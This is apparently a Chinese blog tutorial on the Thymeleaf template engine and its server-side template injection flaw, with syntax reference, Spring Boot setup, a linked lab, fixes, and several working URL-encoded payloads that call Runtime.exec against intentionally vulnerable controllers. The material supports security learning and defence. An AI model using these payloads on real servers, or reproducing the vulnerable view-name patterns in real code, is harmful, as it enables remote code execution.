Java安全之Thymeleaf模板注入漏洞

本文涉及的产品
全局流量管理 GTM,标准版 1个月
云解析 DNS,旗舰版 1个月
云解析DNS,个人版 1个月
简介: Java安全之Thymeleaf模板注入漏洞

Thymeleaf 简介

Thymeleaf 是新一代 Java 模板引擎,与 Velocity、FreeMarker 等传统 Java 模板引擎不同,Thymeleaf 支持 HTML 原型,其文件后缀为“.html”,因此它可以直接被浏览器打开,此时浏览器会忽略未定义的 Thymeleaf 标签属性,展示 thymeleaf 模板的静态页面效果;当通过 Web 应用程序访问时,Thymeleaf 会动态地替换掉静态内容,使页面动态显示。

Thymeleaf 通过在 html 标签中,增加额外属性来达到“模板+数据”的展示方式,示例代码如下

<!DOCTYPE html>
<html  xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
<!--th:text 为 Thymeleaf 属性,用于在展示文本-->
<h1 th:text="hello world">欢迎关注轩公子谈技术</h1>
</body>
</html>

当直接使用浏览器打开时,浏览器展示结果如下。

640.png

当通过 Web 应用程序访问时,浏览器展示结果如下。

640.png

Thymeleaf 模板引擎具有以下特点:

  • 动静结合:Thymeleaf 既可以直接使用浏览器打开,查看页面的静态效果,也可以通过 Web 应用程序进行访问,查看动态页面效果。
  • 开箱即用:Thymeleaf 提供了 Spring 标准方言以及一个与 SpringMVC 完美集成的可选模块,可以快速的实现表单绑定、属性编辑器、国际化等功能。
  • 多方言支持:它提供了 Thymeleaf 标准和 Spring 标准两种方言,可以直接套用模板实现 JSTL、 OGNL 表达式;必要时,开发人员也可以扩展和创建自定义的方言。
  • 与 SpringBoot 完美整合:SpringBoot 为 Thymeleaf 提供了的默认配置,并且还为 Thymeleaf 设置了视图解析器,因此 Thymeleaf 可以与 Spring Boot 完美整合。

Thymeleaf 语法规则

在使用 Thymeleaf 之前,首先要在页面的 html 标签中声明名称空间,就可以对th语法进行高亮显示。

xmlns:th="http://www.thymeleaf.org"

Thymeleaf 作为一种模板引擎,它拥有自己的语法规则。Thymeleaf 语法分为以下 2 类:

  • 标准表达式语法
  • th 属性

标准表达式语法

Thymeleaf 模板引擎支持多种表达式:

  • 变量表达式:${...}
  • 选择变量表达式:*{...}
  • 链接表达式:@{...}
  • 国际化表达式:#{...}
  • 片段引用表达式:~{...}

变量表达式

使用 ${} 包裹的表达式被称为变量表达式,该表达式具有以下功能:

  • 获取对象的属性和方法
  • 使用内置的基本对象
  • 使用内置的工具对象

获取对象的属性和方法

使用变量表达式可以获取对象的属性和方法,例如,获取 person 对象的 lastName 属性,表达式形式如下:

${person.name}

使用内置的基本对象

使用变量表达式还可以使用内置基本对象,获取内置对象的属性,调用内置对象的方法。Thymeleaf 中常用的内置基本对象如下:

#ctx :上下文对象;
#vars :上下文变量;
#locale:上下文的语言环境;
#request:HttpServletRequest 对象(仅在 Web 应用中可用);
#response:HttpServletResponse 对象(仅在 Web 应用中可用);
#session:HttpSession 对象(仅在 Web 应用中可用);
#servletContext:ServletContext 对象(仅在 Web 应用中可用)。

我们通过以下 2 种形式,都可以获取到 session 对象中的 map 属性:

${#session.getAttribute('map')}
${session.map}

使用内置的工具对象

除了能使用内置的基本对象外,变量表达式还可以使用一些内置的工具对象。

  • strings:字符串工具对象,常用方法有:equals、equalsIgnoreCase、length、trim、toUpperCase、toLowerCase、indexOf、substring、replace、startsWith、endsWith,contains 和 containsIgnoreCase 等;
  • numbers:数字工具对象,常用的方法有:formatDecimal 等;
  • bools:布尔工具对象,常用的方法有:isTrue 和 isFalse 等;
  • arrays:数组工具对象,常用的方法有:toArray、length、isEmpty、contains 和 containsAll 等;
  • lists/sets:List/Set 集合工具对象,常用的方法有:toList、size、isEmpty、contains、containsAll 和 sort 等;
  • maps:Map 集合工具对象,常用的方法有:size、isEmpty、containsKey 和 containsValue 等;
  • dates:日期工具对象,常用的方法有:format、year、month、hour 和 createNow 等。

使用内置工具对象 strings 的 equals 方法,来判断字符串与对象的某个属性是否相等

${#strings.equals('张三',name)}

选择变量表达式

选择变量表达式与变量表达式功能基本一致,只是在变量表达式的基础上增加了与 th:object 的配合使用。当使用 th:object 存储一个对象后,我们可以在其后代中使用选择变量表达式(*{...})获取该对象中的属性,其中 ,`* ````即代表该对象。

<div th:object="${session.user}" >
   <p th:text="*{name}">name</p>
</div>

链接表达式

不管是静态资源的引用,还是 form 表单的请求,凡是链接都可以用链接表达式 (@{...})

链接表达式的形式结构如下:

  • 无参请求:@{/xxx}
  • 有参请求:@{/xxx(k1=v1,k2=v2)}
<link href="asserts/css/login.css" th:href="@{/asserts/css/login.css}" rel="stylesheet">

国际化表达式

消息表达式一般用于国际化的场景。

th:text="#{msg}"

片段引用表达式

片段引用表达式用于在模板页面中引用其他的模板片段

~{templatename::fragmentname}
~{templatename::#id}

以上语法结构说明如下:

  • templatename:模版名,Thymeleaf 会根据模版名解析完整路径:/resources/templates/templatename.html,要注意文件的路径。
  • fragmentname:片段名,Thymeleaf 通过 th:fragment 声明定义代码块,即:th:fragment="fragmentname"
  • id:HTML 的 id 选择器,使用时要在前面加上 # 号,不支持 class 选择器。

th 属性

Thymeleaf 还提供了大量的 th 属性,这些属性可以直接在 HTML 标签中使用

属性 描述 示例

th:id 替换 HTML 的 id 属性

th:text 文本替换,转义特殊字符

hello

th:utext 文本替换,不转义特殊字符

欢迎你

th:object 在父标签选择对象,子标签使用 *{…} 选择表达式选取值。 没有选择对象,那子标签使用选择表达式和 ${…} 变量表达式是一样的效果。 同时即使选择了对象,子标签仍然可以使用变量表达式。

firstname

th:value 替换 value 属性

th:with 局部变量赋值运算

th:style 设置样式

编程帮 www.biancheng.net

th:onclick 点击事件

th:each 遍历,支持 Iterable、Map、数组等。  

th:if 根据条件判断是否需要展示此标签

th:unless 和 th:if 判断相反,满足条件时不显示

th:switch 与 Java 的 switch case语句类似 通常与 th:case 配合使用,根据不同的条件展示不同的内容

编程帮www.biancheng.net

th:fragment 模板布局,类似 JSP 的 tag,用来定义一段被引用或包含的模板片段 插入的内容

th:insert 布局标签; 将使用 th:fragment 属性指定的模板片段(包含标签)插入到当前标签中。

th:replace 布局标签; 使用 th:fragment 属性指定的模板片段(包含标签)替换当前整个标签。

th:selected select 选择框选中 ---  编程帮   www.biancheng.net

th:src 替换 HTML 中的 src 属性

th:inline 内联属性; 该属性有 text、none、javascript 三种取值, 在  标签中使用时,js 代码中可以获取到后台传递页面的对象。 <script type="text/javascript" th:inline="javascript"> var name = /*[[${name}]]*/ 'bianchengbang'; alert(name)

th:action 替换表单提交地址

具体内容参考官方文档:https://www.thymeleaf.org/doc/tutorials/3.0/usingthymeleaf.html#the-template-engine

SpingBoot 整合 Thymeleaf

新建项目

然后就成功创建了。pom依赖中,已成功加载thymeleaf。

然后创建一个模板文件

index.html

<!DOCTYPE html>
<html  xmlns:th="http://www.thymeleaf.org">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body >
<span th:text="${data}">轩公子谈技术</span>
</body>
</html>

然后创建控制器ThymeleafController

package com.example.demo;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
@Controller
public class ThymeleafController {
    @RequestMapping(value = "/")
    public String index(Model model) {
        model.addAttribute("data","hello world!");
        return "index";
    }
}

然后配置配置文件

server.port=9090
#thymeleaf 页面的缓存开关,默认 true 开启缓存
spring.thymeleaf.cache=false
spring.thymeleaf.prefix=classpath:/templates/
spring.thymeleaf.suffix=.html

Thymeleaf 模板注入漏洞

Thymeleaf SSTI 漏洞通常发生在使用动态输入来生成 Thymeleaf 模板的情况下。攻击者可以通过精心 构造的输入向服务器发送恶意代码,这些代码将被 Thymeleaf 视为有效的模板表达式,并在服务器上执 行。因此会导致服务器上的远程代码执行,从而使攻击者能够完全接管服务器并访问敏感数据。在 Thymeleaf 中,可以使用表达式来动态设置模板的值。

例如, 使user.name将被替换为用户的名称。攻击者可以使用类似{user.name} 将被替换为用户的名 称。攻击者可以使用类似{T(java.lang.Runtime).getRuntime().exec('calc')} 的表达式来执行 任意的系统命令。

Thymeleaf 3.0.0 至 3.0.11 版本存在模板注入漏洞。该漏洞在Thymeleaf 3.0.12及以后版本已经得到修 复,但还是存在一些 Bypass 的方式。

漏洞环境搭建

https://github.com/veracode-research/spring-view-manipulation/

选择模板语法

应用场景比如说:国际化语言切换。定义 CN 模板和 EN 模板,通过修改 lang 的参数来实现中英文页面 展示。而此时通过拼接路径名实现选择模板造成了模板注入,lang 的参数我们可控,即可传入攻击语句。

@GetMapping("/path")
public String path(@RequestParam String lang) {
    return "user/" + lang + "/welcome"; //template path is tainted
}

640.png

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open%20-a%20calculator").getInputStream()).next()%7d__::.x

640.png

片段选择器

在分段表达式中有一个 片段选择器 语法,用于选择模板中的 某个片段或元素,并在页面中渲染该片段或元素。片段选择器通常以 th: 开头,例如 th:fragment 或 th:include 。th:fragment 用于定义一个片段, th:include 用于在页面中包含一个片段。这段代码是片段选择器存在模板注入问题,在 section 参数中传入攻击语句。

@GetMapping("/fragment")
    public String fragment(@RequestParam String section) {
        return "welcome :: " + section; //fragment is tainted
    }


__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch /tmp/test.txt").getInputStream()).next()%7d__::.x


拼接路径

由于返回为空,所以视图名字会从 URI 中获取,并且接收了 document 的传参,我们可以键入以下攻击 语句。

@GetMapping("/doc/{document}")
    public void getDocument(@PathVariable String document) {
        log.info("Retrieving " + document);
    }
  • 640.png
__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime
).getRuntime().exec(%22open -a20calculator%22).getInputStream()).next()%7D__%3A%3A.x

640.png

修复

设置注解 @ResponseBody

@GetMapping("/safe/fragment")
    @ResponseBody
    public String safeFragment(@RequestParam String section) {
        return "welcome :: " + section;
    }

使用 @ResponseBody 注解告诉 Spring 将返回值作为响应体处理,而不是视图名称,因此无法进行模 板注入攻击。

设置重定向 redirect

@GetMapping("/safe/redirect")
    public String redirect(@RequestParam String url) {
        return "redirect:" + url; //FP as redirects are not resolved as expressions
    }

当视图名称以 redirect: 前缀开头时,Spring不再使用 Spring ThymeleafView 解析,而是使用 RedirectView 解析,该视图不会执行表达式。但存在 URL 跳转漏洞。

设置 response 响应

@GetMapping("/safe/doc/{document}")
    public void getDocument(@PathVariable String document, HttpServletResponse response) {
        log.info("Retrieving " + document); //FP
    }

由于控制器在参数中具有 HttpServletResponse,Spring 认为已经处理了HTTP响应,因此视图名称解 析就不会发生。这个检查存在于 ServletResponseMethodArgumentResolver 类中。


相关文章
|
5天前
|
安全 Java 数据安全/隐私保护
使用Java实现安全的用户身份验证与授权
使用Java实现安全的用户身份验证与授权
|
2天前
|
存储 安全 Java
Java中的加密与安全传输协议实现
Java中的加密与安全传输协议实现
|
2天前
|
Java Redis 数据安全/隐私保护
Redis14----Redis的java客户端-jedis的连接池,jedis本身是线程不安全的,并且频繁的创建和销毁连接会有性能损耗,最好用jedis连接池代替jedis,配置端口,密码
Redis14----Redis的java客户端-jedis的连接池,jedis本身是线程不安全的,并且频繁的创建和销毁连接会有性能损耗,最好用jedis连接池代替jedis,配置端口,密码
|
2天前
|
安全 NoSQL Java
网络安全-----Redis12的Java客户端----客户端对比12,Jedis介绍,使用简单安全性不足,lettuce(官方默认)是基于Netty,支持同步,异步和响应式,并且线程是安全的,支持R
网络安全-----Redis12的Java客户端----客户端对比12,Jedis介绍,使用简单安全性不足,lettuce(官方默认)是基于Netty,支持同步,异步和响应式,并且线程是安全的,支持R
|
4天前
|
安全 算法 Java
Java中的数据加密与安全传输
Java中的数据加密与安全传输
|
2天前
|
监控 安全 Java
Java中的线程调度与性能优化技巧
Java中的线程调度与性能优化技巧
|
2天前
|
缓存 安全 Java
Java中的线程安全问题及解决方案
Java中的线程安全问题及解决方案
|
2天前
|
并行计算 安全 Java
Java中的多线程与并发编程详解
Java中的多线程与并发编程详解
|
2天前
|
存储 缓存 前端开发
Java八股文面试之多线程篇
Java八股文面试之多线程篇
9 0
Java八股文面试之多线程篇
|
3天前
|
并行计算 Java 大数据
Java中的高效并行计算与多线程编程技术
Java中的高效并行计算与多线程编程技术